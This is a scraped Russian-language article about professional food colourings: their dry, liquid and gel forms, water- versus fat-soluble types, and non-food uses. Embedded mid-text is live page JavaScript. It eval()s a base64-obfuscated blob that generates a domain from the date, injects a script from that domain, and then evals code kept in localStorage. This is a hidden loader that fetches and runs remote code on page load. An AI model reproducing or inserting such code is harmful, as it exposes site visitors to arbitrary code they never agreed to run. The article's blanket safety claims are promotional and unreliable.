Для кондитера важно, чтобы десерты были не только вкусными, но и яркими, красивыми, аппетитными внешне. Поэтому многие мастера используют профессиональные пищевые красители. С их помощью легко изменить цвет крема, теста, мастики. Тем более, что качественный пищевой краситель абсолютно безопасен для здоровья. Специальная технология производства позволяет получить пигментную жидкость или порошок, который дает устойчивый оттенок при взаимодействии с водой или другими ингредиентами. Другие преимущества профессиональных пищевых красителей:
гарантированный производителем оттенок при соблюдении инструкции;не изменяется запах, текстура, вкус окрашиваемых продуктов;легко хранятся без потери свойств;предложены производителями в широкой палитре оттенков.
Расскажем, какие красители бывают и как правильно выбрать состав.
Какие пищевые красители бывают
Сегодня в пищевом производстве используют такие виды пигментов:
Сухие. Красители в виде порошка перед использованием разводят водой, медицинским спиртом или наносят в сухом виде на поверхности кисточкой. При разведении водой окрашенная фигурка будет глянцевой, при использовании сухого порошка — матовой.Жидкие. Хорошо подходят для рисования на поверхности десерта, добавления в тесто или крем, а также распыления аэрографом.Гелеобразные. Один из самых популярных вариантов пищевого красителя. Концентрат добавляют в тесто или крем. Достаточно 2–3 капель, чтобы окрасить килограмм продукта. 
Все перечисленные красители бывают водо- и жирорастворимыми. Для белковых основ лучше использовать водорастворимые краски. Жирные кремы, в том числе шоколад, окрашивайте жирорастворимыми пигментами. В этом случае цвет получится ровным. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Где еще используют пищевой краситель
Безопасные пищевые пигменты нашли применение в самых разных сферах производства:
краски-гели часто используют для окрашивания мыла ручной работы — их добавление в основу позволяет получить в бруске причудливые узоры;пищевой пигмент используют в фармацевтическом производстве — вы наверняка покупали красные сиропы, зеленые таблетки и другую разноцветную фармакологическую продукцию;в косметику добавляют пищевые красители, поскольку они гарантированно безопасны для здоровья;детские игрушки, аксессуары для младенцев получаются яркими и нетоксичными, так как в производстве использованы пищевые красители.
Это далеко не полный список того, где применяется пищевой краситель. Доступная цена и безопасность — главные факторы, которые способствуют расширению границ их использования. (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/chto-takoe-pishhevoj-krasitel-vidy-i-sfera-ispolzovaniya/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
